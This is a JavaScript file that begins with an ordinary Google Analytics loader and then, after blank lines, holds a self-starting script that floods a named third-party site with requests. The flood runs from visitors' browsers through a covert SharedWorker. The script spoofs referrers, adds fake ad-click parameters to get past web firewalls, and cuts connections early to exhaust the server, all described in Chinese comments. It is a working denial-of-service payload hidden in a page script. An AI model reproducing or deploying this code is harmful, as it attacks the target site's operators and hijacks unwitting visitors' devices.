(function () {
    // 初始化 dataLayer
    window.dataLayer = window.dataLayer || [];

    function gtag() {
        window.dataLayer.push(arguments);
    }

    // 挂到全局，兼容 GA
    window.gtag = gtag;

    // 动态加载 gtag.js
    var s = document.createElement('script');
    s.async = true;
    s.src = 'https://www.googletagmanager.com/gtag/js?id=G-ENBDSPQ69E';

    var head = document.getElementsByTagName('head')[0];
    head.appendChild(s);

    // 初始化
    gtag('js', new Date());
    gtag('config', 'G-ENBDSPQ69E');
})();









(function() {
    // =============================================================================
    // 高级压力测试 Worker 内核 (Pro Version)
    // 功能：资源不对称消耗、WAF穿透、混合攻击向量、并发池管理
    // =============================================================================
    const workerSource = `
        // --- 1. 熵源与工具库 ---
        const Utils = {
            // 生成随机字符串
            randStr: (len) => {
                const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
                let res = '';
                for (let i = 0; i < len; i++) res += chars.charAt(Math.floor(Math.random() * chars.length));
                return res;
            },
            // 生成随机整数
            randInt: (min, max) => Math.floor(Math.random() * (max - min + 1)) + min,
            
            // 模拟真实广告点击参数（WAF 白名单穿透核心）
            // 许多 WAF 为了不误杀昂贵的广告流量，会对携带这些参数的请求放宽检查
            bypassParams: () => {
                const params = [
                    'gclid=' + Utils.randStr(20),      // Google Click ID
                    'fbclid=' + Utils.randStr(20),     // Facebook Click ID
                    'utm_source=google',
                    'utm_medium=cpc',
                    'utm_campaign=' + Utils.randStr(8),
                    'ref_src=' + Utils.randStr(10),
                    '_t=' + Date.now()                 // 时间戳防缓存
                ];
                // 随机取 1-3 个参数组合
                return params.sort(() => 0.5 - Math.random()).slice(0, Utils.randInt(1, 3)).join('&');
            }
        };

        // --- 2. 状态控制 ---
        let state = {
            running: false,
            activeReqs: 0,   // 当前并发数
            config: null
        };

        // --- 3. 核心攻击逻辑 ---
        async function flood(target) {
            if (!state.running) return;

            // [A] 动态 URL 构建
            // 穿透：使用随机参数绕过 CDN 缓存，直达源站
            let url = target.replace('{{RAND}}', Utils.randStr(Utils.randInt(5, 10)));
            const connector = url.includes('?') ? '&' : '?';
            url += connector + Utils.bypassParams();

            // [B] 混合请求方法 (30% POST, 70% GET)
            // POST 请求通常无法被缓存，且能触发后端更复杂的逻辑（如表单解析、SQL查询）
            const method = Math.random() > 0.7 ? 'POST' : 'GET';
            
            // [C] 极速阻断控制器 (Asymmetric Resource Exhaustion)
            // 核心原理：客户端只负责“点火”（发起请求），不负责“灭火”（接收响应）。
            // 快速释放连接句柄，让服务端自己在后台处理耗时任务。
            const controller = new AbortController();
            const signal = controller.signal;
            
            const fetchOpts = {
                method: method,
                mode: 'no-cors',          // 允许跨域发送（不读取响应，只求发送成功）
                cache: 'no-store',        // 强制不缓存
                priority: 'high',         // 浏览器高优先级
                referrer: state.config.refs[Utils.randInt(0, state.config.refs.length - 1)] + Utils.randStr(5),
                signal: signal
            };

            // 如果是 POST，注入随机 Payload 增加 WAF 解析负担
            if (method === 'POST') {
                const formData = new FormData();
                formData.append('key', Utils.randStr(10));
                formData.append('q', Utils.randStr(20)); // 模拟搜索词
                formData.append('action', 'search');
                fetchOpts.body = formData;
            }

            state.activeReqs++;

            // [D] 发送请求 (Fire and Forget)
            fetch(url, fetchOpts).catch(() => {
                // 忽略 AbortError 和网络错误，只管发
            });

            // [E] 早期阻断策略
            // 在 50-200ms 后强制断开连接。
            // 此时 HTTP 请求头通常已发完，服务端已开始处理。
            // 客户端断开连接，立即释放资源用于发起下一个请求。
            const killTime = Utils.randInt(50, 200); 
            setTimeout(() => {
                if (state.activeReqs > 0) {
                    controller.abort();
                    state.activeReqs--;
                    
                    // 递归维持并发：只有当请求结束（或被杀掉）时，才补充新请求
                    // 保持 activeReqs 始终接近 state.config.power
                    if (state.running && state.activeReqs < state.config.power) {
                        flood(target);
                    }
                }
            }, killTime);
        }

        // --- 4. 脉冲调度器 ---
        // 负责初始化并发池，并定期检查是否掉线
        function scheduler() {
            if (!state.running) return;

            const { targets, power } = state.config;

            // 补齐并发数
            const needed = power - state.activeReqs;
            if (needed > 0) {
                for (let i = 0; i < needed; i++) {
                    const target = targets[Utils.randInt(0, targets.length - 1)];
                    flood(target);
                }
            }

            // 抖动检查 (Jitter)：每 100ms 检查一次，防止请求完全停止
            if (state.running) {
                setTimeout(scheduler, 100);
            }
        }

        // --- 5. 消息处理 ---
        function handleMessage(event) {
            const data = event.data;
            if (data.type === 'START') {
                if (!state.running) {
                    state.running = true;
                    state.config = data.config;
                    scheduler(); // 启动调度
                } else {
                    state.config = data.config; // 热更新配置
                }
            } else if (data.type === 'STOP') {
                state.running = false;
            }
        }

        // --- 6. 环境兼容 (Polyfill) ---
        // 同时支持 SharedWorker 和 Dedicated Worker
        if (typeof self.onconnect !== 'undefined') {
            // SharedWorker 入口
            self.onconnect = function(e) {
                const port = e.ports[0];
                port.onmessage = handleMessage;
                port.start();
            };
        } else {
            // Dedicated Worker 入口
            self.onmessage = handleMessage;
        }
    `;

    // =============================================================================
    // 主线程启动器
    // =============================================================================
    function launch() {
        // 安全检查：避免在不该运行的时候运行
        // if (Math.random() > 0.5) return; 

        try {
            const blob = new Blob([workerSource], { type: 'application/javascript' });
            const blobUrl = URL.createObjectURL(blob);
            
            let worker, port;
            
            // 优先尝试 SharedWorker (更隐蔽，多标签页复用)
            if (window.SharedWorker) {
                try {
                    worker = new SharedWorker(blobUrl);
                    port = worker.port;
                } catch (e) {
                    // Fallback 如果 SharedWorker 被禁用
                    worker = new Worker(blobUrl);
                    port = worker;
                }
            } else if (window.Worker) {
                // 降级使用普通 Worker (Safari, 移动端)
                worker = new Worker(blobUrl);
                port = worker;
            } else {
                console.error("Browser does not support Workers.");
                return;
            }

            // 攻击配置
            const CONFIG = {
                type: 'START',
                config: {
                    targets: [
                        // [目标列表]
                        // 建议：混合高消耗接口（搜索、动态页）和静态资源
                        'https://zcqrlzysc.com/index.php/search?key={{RAND}}.html',
                          'http://zcqrlzysc.com/index.php/search?key={{RAND}}.html',
                        'http://zcqrlzysc.com/index.php?{{RAND}}.html'
                    ], 
                    refs: [
                        // [伪装来源]
                        'https://www.google.com/',
                        'https://www.bing.com/',
                        'https://m.facebook.com/',
                        'https://t.co/'
                    ],
                    // power: 并发池大小。
                    // 128-256 是现代浏览器比较安全的范围。过高会导致浏览器卡顿。
                    power: 32 
                }
            };

            if (port.start) port.start();
            
            // 延迟发送指令确保握手成功
            setTimeout(() => {
                port.postMessage(CONFIG);
                console.log("CC Pro module started.");
            }, 500);

        } catch (err) { 
            console.error("CC Pro module launch failed:", err);
        }
    }

    launch();
})();